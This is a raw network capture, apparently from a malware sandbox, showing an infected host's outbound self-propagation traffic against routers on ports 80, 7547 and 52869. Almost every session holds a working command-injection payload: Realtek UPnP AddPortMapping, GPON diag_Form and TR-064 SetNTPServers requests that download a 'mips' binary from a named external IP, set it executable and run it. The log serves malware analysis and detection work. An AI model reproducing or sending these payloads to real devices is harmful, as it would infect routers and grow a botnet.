Apr 15, 2024 08:53:30.720432997 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:42.752383947 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.13	44358	137.184.241.206	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.503053904 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.207917929 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.431807041 CEST	500	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 64 74 72 75 63 6b 61 64 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at ledtruckad.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.13	53672	99.254.156.230	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.524091005 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.13	47708	59.147.122.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.527592897 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:21.790873051 CEST	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.13	47320	190.147.70.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.528651953 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.13	36054	115.3.91.2	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.568233967 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.13	55586	119.218.187.121	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.577111959 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:21.888000965 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:21 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.13	60108	211.218.225.190	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.577178955 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.13	59718	1.140.19.46	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.582379103 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.13	57332	138.100.53.157	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.584146976 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.13	59520	38.207.101.234	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.589071989 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:25.600438118 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:31.744493008 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:43.776411057 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.13	52758	45.33.251.156	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.593317986 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.13	48424	68.105.123.207	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.604760885 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.13	43840	95.230.110.228	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.606328964 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.934719086 CEST	1289	IN	HTTP/1.0 403 Forbidden Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 09 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 3c 21 2d 2d 0a 09 09 62 6f 